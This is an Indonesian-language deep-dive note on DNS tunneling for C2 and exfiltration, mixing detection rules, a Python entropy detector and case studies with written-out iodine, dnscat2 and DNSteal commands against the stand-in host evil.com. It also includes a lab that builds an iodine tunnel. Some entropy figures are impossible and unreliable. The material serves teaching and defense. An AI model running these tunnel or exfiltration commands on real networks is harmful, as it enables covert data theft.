πŸ•ΈοΈ DNS TUNNELING β€” Deep Dive: Eksploitasi DNS untuk C2 & Exfiltrasi Data

DNS Tunneling adalah teknik penyelundupan data melalui protokol DNS dengan cara mengenkapsulasi data non-DNS di dalam query dan response DNS. Karena DNS hampir selalu diizinkan melewati firewall dan tidak diinspeksi secara ketat, protokol ini menjadi vektor favorit untuk command-and-control (C2) communication dan data exfiltration. Bahkan jaringan yang paling ketat sekalipun β€” tanpa proxy explicit β€” biasanya masih mengizinkan DNS keluar.

Hubungan ke Vault

Ini adalah deep dive untuk topik DNS Tunneling, bagian dari threat landscape di Layer 3 (Network) dan Layer 7 (Application). Terkait dengan network-security (posisi threat di OSI Layer), blueteam-detection-matrix (deteksi pattern C2), blueteam-vs-enterprise-c2 (counter-measure terhadap C2 infrastructure), dan ids-ips-waf-nsm-comparison (tools untuk mendeteksi tunneling). Juga beririsan dengan comprehensive-threat-directory untuk TTP mapping.


Daftar Isi


Mengapa DNS Menjadi Vektor Favorit

DNS adalah protokol tertua di internet (standarisasi 1983, RFC 1034/1035). Sifatnya yang fundamental, state-less, dan hampir tidak pernah diblokir penuh membuatnya ideal sebagai vektor covert channel.

Faktor-Faktor Kerentanan

FaktorPenjelasanImplikasi Keamanan
Allow by defaultFirewall hampir selalu mengizinkan UDP/53 keluarDNS tunnel bisa bypass firewall tanpa perlu port alternatif
DNS resolver chainQuery diteruskan dari resolver ke resolver sampai authoritativeTraffic sulit dilacak ke sumber asli
Packet kecilDNS query biasanya < 100 byteCocok untuk beaconing chunk data kecil
Encoded payloadData disembunyikan di field subdomain, TXT, CNAMEIDS/IPS standar tidak membaca isi DNS
Tidak ada state koneksiDNS UDP tidak memiliki session seperti TCPTidak ada handshake
Rate limit jarangBanyak network tidak batasi DNS query/detikAttacker pumping data tanpa throttling
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                 FLOW DNS TUNNELING                       β”‚
β”‚                                                          β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”   DNS Query (encoded data)   β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚
β”‚  β”‚  Victim  β”‚ ────────────────────────────► β”‚  DNS     β”‚ β”‚
β”‚  β”‚  (Client)β”‚       subdomain.attacker.com  β”‚ Resolver β”‚ β”‚
β”‚  β”‚          │◄────────────────────────────  β”‚  Local   β”‚ β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜   DNS Response (decoded data) β””β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”˜ β”‚
β”‚                                                   β”‚       β”‚
β”‚                                                   β–Ό       β”‚
β”‚                                          β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”     β”‚
β”‚                                          β”‚  C2      β”‚     β”‚
β”‚                                          β”‚  Server  β”‚     β”‚
β”‚                                          β”‚ (Auth NS)β”‚     β”‚
β”‚                                          β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜     β”‚
β”‚                                                          β”‚
β”‚  Data: <base64-chunk>.<tunnel-domain>.<tld>             β”‚
β”‚  Respon: TXT / CNAME / MX record                        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Anatomi Protokol DNS yang Dieksploitasi

DNS Query Structure β€” RFC 1035

Setiap DNS query terdiri dari header (12 byte) + question section:

DNS Message Format:
+------------------------------+
|  Header (12 bytes)           |  ID, flags, counts
+------------------------------+
|  Question Section            |  QNAME (domain name)
|  - QNAME (variable len)      |  YANG DIPAKAI β€” max 255 bytes
|  - QTYPE (2 bytes)            |  TXT, MX, CNAME
|  - QCLASS (2 bytes)           |  biasanya IN (1)
+------------------------------+
|  Answer / Authority / Addnl  |  RESPONSE β€” TXT records
+------------------------------+

Field yang Paling Sering Dieksploitasi

FieldKapasitasDigunakan UntukContoh Penggunaan
QNAME (subdomain)255 bytes per queryOutbound dataZmxhZ3Q=.tunnel.evil.com
TXT record response65,535 bytesInbound dataCommand, payload
CNAME record255 bytesRedirect signalPetunjuk channel
MX recordvariableAlternatif TXTExchange impersonation
NULL record65,535 bytesRaw binaryIodine mode NULL
EDNS0 (OPT RR)65,535 bytesFragmentasiExtend UDP size

Query Types yang Biasa Disalahgunakan

Record TypeDefault FunctionTunneling Use Case
AResolve hostname ke IPv4Baseline β€” data di subdomain
AAAAResolve hostname ke IPv6Dual-stack evasion
TXTText metadata domainPrimary payload delivery
MXMail exchange recordAlternatif TXT
CNAMECanonical name aliasRedirect signal, C2 staging
SVCB/HTTPSService bindingTunnel via DoH
NULLRaw experimentalIodine direct binary

Teknik Encoding & Enkapsulasi

Data biner harus di-encode agar bisa lewat DNS (hanya alfanumerik + hyphen + dot di QNAME).

Perbandingan Encoding Scheme

EncodingAlphabetEfisiensiKarakterContoh Tools
Base32A-Z, 2-7, =~64%Amaniodine (default)
Base64A-Z, a-z, 0-9, +, /, =~75%+ dan / bermasalahdnscat2 (opsional)
Base64 URLA-Z, a-z, 0-9, -, _~75%AmanCobalt Strike, Heyoka
Base360-9, A-Z~59%Paling amanOzymanDNS (old)
Hex0-9, a-f~50%Mudah dibacadnscat2 fallback
Custom charsetVariable80%+BerisikoHeyoka custom

Ilustrasi Encoding Flow

Data mentah: "FLAG{exfiltrate_me}"
     |
     v  (compress β€” gzip/zlib optional)
Bytes terkompresi: [0x1F 0x8B 0x08 ...]
     |
     v  (encode β€” Base64 URL-safe)
String: "RkxBR3tleGZpbHRyYXRlX21lfQ=="
     |
     v  (chunk ke label DNS β€” max 63 chars per label)
Label 1: "RkxBR3tleGZpbHRy"   (15 bytes decoded)
Label 2: "YXRlX21lfQo="       (sisanya)
     |
     v  (gabung dengan domain)
Query: "RkxBR3tleGZpbHRy.YXRlX21lfQo=.tunnel.evil.com"
     |
     v  (kirim ke DNS resolver -> authoritative NS Attacker)

Kompresi per Tool

  • iodine: gzip + Base32 β€” upstream dikompresi, di-encode Base32, per label.
  • dnscat2: encrypted + Base64 β€” Salsa20/AES, lalu encode Base64.
  • Heyoka: custom binary encoding β€” fragmentasi di IP, reassembly di server.
  • Cobalt Strike DNS Beacon: AES-256 + Base64 URL β€” metadata session + tasks.

Klasifikasi Jenis DNS Tunnel

Berdasarkan Arah Data

JenisDeskripsiContoh Tools
Unidirectional (exfil only)Data hanya dari client ke serverDNSteal, python scripts
Bidirectional (C2)Client-Server full duplexdnscat2, Cobalt Strike, iodine
Tunnel (full IP)Layer 3 β€” semua protokol IPiodine, heyoka

Berdasarkan Metadata

TypeCara KerjaKecepatanDetectability
Direct (raw UDP/53)Langsung ke server authoritativeSangat cepatMudah
Resolver-based (relayed)Lewat resolver lokalLambat (70-150ms per hop)Sulit
HybridResolver + fallback directModerateMedium

Berdasarkan Kapasitas

LevelThroughput KhasToolsUse Case
Low1-10 bpsDNSteal, customExfil file kecil, keylogging
Medium100-500 bpsdnscat2, CS DNS beaconC2 shell, tasking
High1-30 kbpsiodine, heyokaSSH, RDP, HTTP tunnel
Extreme100+ kbpsiodine + EDNS0Video streaming (noisy)

Tools β€” Perbandingan dan Analisis

ToolFungsiArsitekturEnkripsiEncodingThroughputPlatformStatus
iodineIP tunnel (L3)C, client-serverNonegzip + Base321-30 kbpsLinux, macOS, WinActive
dnscat2C2 channel (L7)C client + Ruby serverSalsa20/AESBase64 / hex100-500 bpsCross-platformActive
Cobalt StrikeC2 frameworkJava MalleableAES-256Base64 custom100-500 bpsWin + LinuxActive
HeyokaIP tunnel (multi)C++XORCustom binary10-100 kbpsLinuxDead (2007)
DNStealFile exfilPythonNoneBase321-50 bpsCross-platformActive
OzymanDNSTCP tunnelPerlNoneBase32/3610-100 bpsUnixDead (2004)
DNS2TCPTCP tunnelCNoneBase321-10 kbpsLinuxInactive
NSTXIP tunnelCNoneHex/Base641-5 kbpsLinuxDead (2006)
tunsTCP tunnelGoTLSBinary1-20 kbpsCross-platformActive

Detail Tools Utama

iodine β€” The IP Tunnel King

  • Membuat TUN interface di kedua sisi. Paket IP dikompresi, difragmentasi, dikirim sebagai QNAME.
  • Fragment offset system β€” payload 16-bit fragment, reassembly di sisi lain.
  • Autoprobe fragment size β€” deteksi EDNS0 support.
  • Password auth β€” shared secret, bukan enkripsi payload.
  • Limitasi: tidak ada enkripsi end-to-end.
# Server (authoritative NS untuk t1.evil.com)
iodined -f -c -P secretpass 10.0.0.1 t1.evil.com
 
# Client
iodine -f -P secretpass t1.evil.com

dnscat2 β€” The C2 Specialist

  • Client kirim data terenkripsi sebagai subdomain. Server Ruby dekode, execute command, response lewat TXT.
  • Session-based: MaxSegmentSize negotiation, sequence numbering, retransmission.
  • Encryption: Salsa20/AES-256 dengan ECDH key exchange.
  • Command: shell, exec, download, upload, port forward, ping.
  • Detection: prefix β€œdnscat.” default, rate query TXT tinggi.
# Server
ruby dnscat2.rb --dns domain=evil.com
 
# Client direct
./dnscat --dns server=evil.com
 
# Client relay
./dnscat evil.com

Cobalt Strike DNS Beacon

  • DNS Beacon = C2 channel untuk task check. Beacon polling dengan TXT query ke domain C2.
  • Malleable C2 Profile: kustomisasi panjang subdomain, TXT size, jitter.
  • Hybrid: DNS untuk task poll, HTTP/HTTPS untuk data transfer besar.
  • Signature: subdomain konsisten, interval fixed.

Heyoka (Historic)

  • DNS query fragmentation β€” paket IP dipecah, dikirim paralel via multi-connection.
  • Multi-threaded throughput melebihi rate limit resolver.
  • Projekt terakhir 2007. Referensi akademik β€œhigh-performance DNS tunnel.”

DNSteal β€” Quick Exfil

  • Python: file β†’ gzip β†’ base32 β†’ subdomain β†’ NS.
  • One-shot exfiltration, tanpa interactive channel.
  • Parameter: -b (bytes/subdomain), -s (subdomains/query), -f (filename length).
# Server (fake NS)
python dnsteal.py 0.0.0.0 -z -v
 
# Client β€” exfiltrasi file
python dnsteal.py 192.168.1.100 -z -v secret.docx

Detection β€” Traffic Analysis and Deep Packet Inspection

Volume Analysis

MetricNormalSuspiciousKeterangan
DNS queries/min/host1-2050+Terutama TXT, MX, CNAME
QNAME length15-40 chars> 60 charsSubdomain panjang
TXT record ratio< 1% DNS> 10% DNSTXT jarang dipakai
Unique subdomain/domain10-100/hariRatusan/menitRandom generation
NXDOMAIN rate1-5%10%+Brute-force setup

Entropy Analysis β€” Metrik Paling Kuat

Entropy per label DNS:
  Normal: "login"           ~2.5 bits/char
  Normal: "www"             ~1.8 bits/char
  Normal: "api-v2"          ~2.8 bits/char
  Tunnel: "ZmxhZ3t0aGlz"   ~4.7 bits/char  (base64)
  Tunnel: "jd82kDjs92ld"   ~4.5 bits/char  (random)
  Tunnel: "dGhpcyBpcyBhIH" ~4.8 bits/char  (base32)

Threshold: Entropy > 3.5 = suspicious. > 4.2 = highly likely tunnel.

Domain Pattern Analysis

  • Long subdomain (> 50 chars)
  • High cardinality per parent domain
  • Base64 character dominance
  • Periodic/beaconing interval
  • Newly registered domain (< 30 hari)

Deep Packet Inspection

SignatureDeviceDetection Method
TXT terlalu besarNGFWTXT > 200 bytes
Query rate tinggiIPS> 30 qpm ke 1 domain
Entropy > thresholdCustomHitung per query
Rare record typeDNS firewallTXT, MX, SRV, NULL
EDNS0 > 1232 bytesNGFWFragmentasi tunnel
No resolver cachingDNS logsRandom subdomain

Time-Based Analysis

  • Jitter terlalu rendah (mechanical vs natural)
  • Non-business hours aktivitas DNS tinggi
  • Correlation: lonjakan DNS bersamaan file access

Sigma Rules and Detection Logic

Sigma Rule β€” High Volume DNS TXT Queries

title: High Volume DNS TXT Queries to Single Domain
id: f1b3d7c2-9a4e-4f2b-8c3d-1e5a7b9c0d2e
status: experimental
description: Detects abnormally high number of DNS TXT queries
logsource:
  category: dns
  product: windows
  service: dns-server
detection:
  selection:
    QueryType: "TXT"
    DomainName|endswith:
      - ".xyz"
      - ".top"
      - ".club"
      - ".online"
  timeframe: 5m
  condition: selection | count() by DomainName > 30
falsepositives:
  - Legitimate SPF DKIM lookups
level: medium

Sigma Rule β€” DNS Subdomain Entropy

title: High Entropy DNS Subdomain
id: a8e3c4b6-7d2f-4e9a-1b3c-5d8f7a2e4c6b
status: experimental
description: Detects DNS queries with Shannon entropy > 4.0
logsource:
  category: dns
  product: zeek
detection:
  selection:
    query|re: '[a-zA-Z0-9+/=_-]{45,}\.[a-z0-9-]+\.[a-z]+'
  condition: selection
falsepositives:
  - Long CDN cache keys
level: high

Suricata Rule

alert udp any any -> any 53 (
    msg:"Potential DNS Tunnel - High TXT Rate";
    dns.query_type:TXT;
    threshold: type both, track by_dst, count 30, seconds 60;
    classtype:bad-unknown;
    sid:1000001;
    rev:1;
)

Zeek Script β€” Entropy Detection

event dns_request(c: connection, msg: dns_msg, query: string, qtype: count)
{
    local labels = split_string(query, /\\./);
    local first_label = labels[0];
    local entropy = 0.0;
    local freq: table[string] of count = table();
    for (i in first_label) {
        local ch = sub_bytes(first_label, i, 1);
        ++freq[ch];
    }
    local len = |first_label|;
    if (len == 0) return;
    for ([ch], count in freq) {
        local p = count / len;
        entropy += p * log10(p) / log10(2.0);
    }
    entropy = -entropy;
    if (entropy > 4.0 && len > 40)
        NOTICE([$note=Notice::ACTION_LOG,
                $msg=fmt("High entropy DNS: %s (%.2f, %d)",
                         query, entropy, len)]);
}

Entropy Analysis β€” Konsep dan Implementasi

Shannon Entropy untuk DNS labels:

Python Implementation

#!/usr/bin/env python3
"""
dns_entropy_detector.py β€” Deteksi DNS tunneling via Shannon entropy.
Pipeline: tcpdump -> parsing -> entropy analysis.
"""
 
import math
import sys
from collections import Counter
 
def shannon_entropy(data: str) -> float:
    if not data:
        return 0.0
    freq = Counter(data)
    length = len(data)
    return -sum(
        (count / length) * math.log2(count / length)
        for count in freq.values()
    )
 
def is_suspicious(entropy: float, length: int) -> str:
    if length < 30:
        return "Benign (pendek)"
    if entropy < 3.0:
        return "Benign"
    if entropy < 3.8:
        return "Suspicious"
    if entropy < 4.5:
        return "Highly Suspicious"
    return "Critical β€” pasti encoded"
 
def analyze_dns_log(filepath: str, threshold: float = 3.5):
    suspicious = []
    with open(filepath, 'r') as f:
        for line_num, line in enumerate(f, 1):
            line = line.strip()
            if not line or line.startswith('#'):
                continue
            parts = line.split('|')
            if len(parts) < 3:
                continue
            _, src_ip, query_raw, *_ = parts
            labels = query_raw.split('.')
            if len(labels) < 2:
                continue
            payload = labels[0]
            ent = shannon_entropy(payload)
            if ent >= threshold:
                suspicious.append({
                    'line': line_num,
                    'src': src_ip,
                    'query': query_raw,
                    'entropy': round(ent, 2),
                    'length': len(payload),
                    'status': is_suspicious(ent, len(payload)),
                })
    return suspicious
 
def print_report(results: list):
    if not results:
        print("[OK] No DNS tunneling detected.")
        return
    print(f"[!] Found {len(results)} suspicious queries:\n")
    header = f"{'Line':<6} {'Source IP':<18} {'Entropy':<8} {'Len':<6} {'Status':<30} Query"
    print(header)
    print("-" * 120)
    for r in results[:30]:
        print(f"{r['line']:<6} {r['src']:<18} {r['entropy']:<8} "
              f"{r['length']:<6} {r['status']:<30} {r['query'][:50]}...")
 
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: dns_entropy_detector.py <dns_log.txt> [threshold=3.5]")
        sys.exit(1)
    threshold = float(sys.argv[2]) if len(sys.argv) > 2 else 3.5
    results = analyze_dns_log(sys.argv[1], threshold)
    print_report(results)

Case Studies β€” DNS Tunnel di Alam Liar

Case 1: Flame Malware (2012) β€” Nation-State DNS C2

AspekDetail
AktorNation-state (Stuxnet-related)
TargetIran β€” energi, minyak, industri
MetodeDNS tunneling via subdomain untuk C2 + exfil
PayloadScreenshot, keylog, dokumen β€” chunk kecil
ToolCustom internal module
VolumeRatusan query/jam, 30-60 bytes/query
Durasi~2 tahun (2010-2012)
DampakRibuan host, jutaan dokumen
DetectionKaspersky Lab 2012

Flame menggunakan DNS sebagai secondary C2 channel. Primary lewat HTTP/HTTPS. Jika primary diblokir, fallback ke DNS. Data di DNS: command singkat, heartbeat, konfirmasi eksekusi.

2010-03  -> Flame deploy
2010-05  -> DNS tunnel module aktif
2011-01  -> Domain C2 diganti (lolos deteksi)
2012-05  -> Kaspersky: "Flame: Bunny and Blowfish"
2012-06  -> C2 sinkhole oleh CERT + Microsoft

Case 2: DNSMessenger (2017) β€” PowerShell DNS RAT

AspekDetail
AktorCyber-espionage (suspected APT)
TargetFinancial services
MetodePowerShell + DNS TXT queries untuk command
PayloadPS code di TXT record β†’ decode β†’ invoke
ToolPure PowerShell (LOL)
DetectionCisco Talos

DNSMessenger = fileless DNS tunneling. Tidak ada binary tambahan. PowerShell ambil TXT record berisi kode terenkripsi.

Case 3: OilRig (2016-2019) β€” DNS C2 untuk Espionage

AspekDetail
AktorOilRig (APT34) β€” Iran
TargetEnergi, minyak, gas Timur Tengah
MetodeCustom DNS tunnel via subdomain
ToolHelminth backdoor + DNSExfiltrator
DetectionPalo Alto Unit 42

OilRig menggunakan DNS sebagai stealth channel utama. Helminth kirim data per chunk kecil, sulit dideteksi signature-based IDS.

Case 4: Chimera Group β€” Cobalt Strike Over DNS (2021)

AspekDetail
AktorCybercrime/espionage
TargetEuropean organizations
MetodeCS DNS beacon, DNS tasking + HTTPS data
Durasi3+ months
IndicatorTXT query tiap 60s, jitter 15%, subdomain ~44 chars

Chimera: DNS hanya untuk task check (45-75 detik). Task di-download via HTTPS. Sulit dideteksi volume-based alert.


Mitigation β€” DNS Firewall, DoH, dan Threat Intel

Defense in Depth

Layer 1: DNS Firewall / RPZ β€” blokir domain buruk & high-risk TLD
Layer 2: Traffic Anomaly β€” volume, entropy, rate analysis
Layer 3: Deep Packet Inspection β€” TXT record, ukuran DNS
Layer 4: DNS over HTTPS (DoH) β€” kontrol sentralisasi
Layer 5: Endpoint Detection β€” process monitoring
Layer 6: Threat Intelligence β€” domain reputation, passive DNS

1. DNS Firewall & RPZ

$TTL 86400
$ORIGIN rpz.local.
*.xyz            CNAME rpz-passthru.
*.top            CNAME rpz-passthru.
  • Catch: DNS firewall hanya efektif untuk relay yang dikelola organisasi. Attacker bisa query langsung ke resolver publik.

2. Traffic Anomaly Thresholds

MetricAction ThresholdNotes
DNS queries/min/host > 50AlertKecuali known (DC, mail)
TXT record > 10% DNSAlertNormal hanya SPF, DMARC
Entropy subdomain > 3.8ReviewWhitelist CDN
Subdomain length > 45 charsReviewWhitelist CDN
NXDOMAIN > 10%AlertBruteforce
Newly registered domain (< 30 days)AlertDomain tunnel baru
EDNS0 > 1232 bytesReviewFragmentasi

3. Endpoint Prevention

  • Monitor process: nslookup.exe, powershell.exe dengan Resolve-DnsName, System.Net.Dns API
  • Block tools: dnscat2.exe, iodine.exe
  • Application whitelisting untuk DNS query
  • Windows Event Log 5156: monitor UDP/53 dari process unknown

4. DNS over HTTPS (DoH)

SisiDampak
(+) Defender yang manageCentralize logging + enforce policy
(-) AttackerSembunyikan DNS dari NGFW
Trade-offJika tidak bisa inspect DoH, attacker pindah ke DoH eksternal

Rekomendasi:

  • Enterprise DoH resolver internal (Windows Server 2022+, NextDNS, Cloudflare Gateway)
  • Blokir DoH ke resolver publik (1.1.1.1, 8.8.8.8, 9.9.9.9)
  • SSL/TLS Inspection untuk decrypt DoH

5. Block Query Types

- Block DNS TXT query to external (kecuali whitelisted SPF/DMARC)
- Block DNS MX query dari non-mail-server
- Block DNS NULL type
- Block DNS SRV query non-legitimate

6. Threat Intelligence Integration

Intel FeedFunctionIntegration
Passive DNSDomain β†’ IP historyElasticsearch, Splunk
URLhaus / abuse.chKnown maliciousDNS firewall auto-block
Emerging ThreatsDNS rulesSuricata, Snort
MISP / OpenCTICustom intelAlert enrichment
AlienVault OTXDNS pulsesCorrelation

Hands-On β€” Setup iodine Tunnel dan Capture

Topologi Lab

+------------------+         +------------------+
|  iodine Client   |         |  iodine Server   |
|  (Victim)        |         |  (Attacker C2)   |
|  TUN: 10.0.1.2   |<------->|  TUN: 10.0.1.1   |
|                  |  DNS    |                  |
|                  |  UDP 53 |  Domain: t1.test |
+------------------+         +------------------+

Step-by-Step

1. Server:

# Install
sudo apt install iodine
 
# Delegasi DNS di zone file:
# t1    IN  NS   t1ns.test.com.
# t1ns  IN  A    <PUBLIC_IP>
 
sudo iodined -f -c -P rahasia123 10.0.1.1 t1.test.com

2. Client:

sudo apt install iodine
 
# Via DNS resolver
sudo iodine -f -P rahasia123 t1.test.com
 
# Direct ke IP server
sudo iodine -f -P rahasia123 203.0.113.5

3. Verify:

# Server
ping -c 3 10.0.1.2
ssh user@10.0.1.2
 
# Client
ping -c 3 10.0.1.1
ssh user@10.0.1.1
 
# Bandwidth
iperf3 -c 10.0.1.1 -p 5201  # ~10-30 kbps

Packet Capture

# Capture
sudo tcpdump -i any port 53 -w dns-tunnel.pcap
 
# Analisis dengan tshark β€” QNAME length
tshark -r dns-tunnel.pcap -Y 'dns.qry.name.len > 40' \
  -T fields -e frame.time -e ip.src -e dns.qry.name

Simulasi Detection

# Sample log
echo "ts|src|query|qtype" > sample.txt
echo "00:01|10.0.0.1|login.normal.com|A" >> sample.txt
echo "00:02|10.0.0.1|www.normal.com|A" >> sample.txt
echo "00:03|10.0.0.1|RkxBR3tleGZpbHRyYXRlX21lfQo=.tunnel.evil.com|TXT" >> sample.txt
 
# Run detector
python3 dns_entropy_detector.py sample.txt 3.5

Expected output:

[!] Found 1 suspicious queries:

Line  Source IP         Entropy  Len    Status
3     10.0.0.1         4.72     28     Highly Suspicious

DNS Tunnel vs Legitimate Traffic

KarakteristikLegitimate DNSDNS Tunneling
Query intervalRandom, request-drivenPeriodik, mechanical
Subdomain length10-30 chars> 45 chars
Entropy per label< 3.0> 3.8
Distinct domains/host5-50/hari1-3/hari
TXT record ratio< 1%> 10%
TXT response size< 200 bytesBisa > 1000 bytes
Query type distributionA/AAAA dominanTXT, MX, CNAME tinggi
EDNS0 usage< 512 bytesSering > 4096 bytes
Time of dayBusiness hoursDatar 24 jam
NXDOMAIN rate< 5%Bisa > 20%
Cache behaviorCache-friendlyCache-unfriendly
Correlation user activityTinggiRendah

Koneksi ke Vault

Planned notes:


References

  1. iodined official docs β€” https://github.com/yarrick/iodine
  2. dnscat2 official docs β€” https://github.com/iagox86/dnscat2
  3. Cobalt Strike Malleable C2 β€” https://www.cobaltstrike.com/help-malleable-c2
  4. MITRE ATT&CK T1572 β€” Protocol Tunneling β€” https://attack.mitre.org/techniques/T1572/
  5. Cisco Talos β€” DNSMessenger analysis
  6. Kaspersky Lab β€” β€œFlame: Bunny and Blowfish” (2012)
  7. Palo Alto Unit 42 β€” OilRig Helminth analysis
  8. RFC 1034 / 1035 β€” Domain Names
  9. Shannon, C.E. β€” β€œA Mathematical Theory of Communication” (1948)

Bottom Line

DNS tunneling adalah covert channel paling efektif yang masih bertahan. Karena DNS tidak bisa diblokir penuh, attacker akan selalu coba menyelundupkan data lewat protokol ini. Deteksi terbaik: analisis anomali β€” volume, entropy, dan pattern timing. Defense terkuat: kombinasi DNS firewall, entropy detection, endpoint monitoring, dan threat intelligence. Kebanyakan tunnel terdeteksi dengan entropy > 4.0 dan query rate > 50/menit ke domain tunggal. Catatan: APT canggih menggunakan low-and-slow untuk menjaga entropy dan rate di bawah threshold.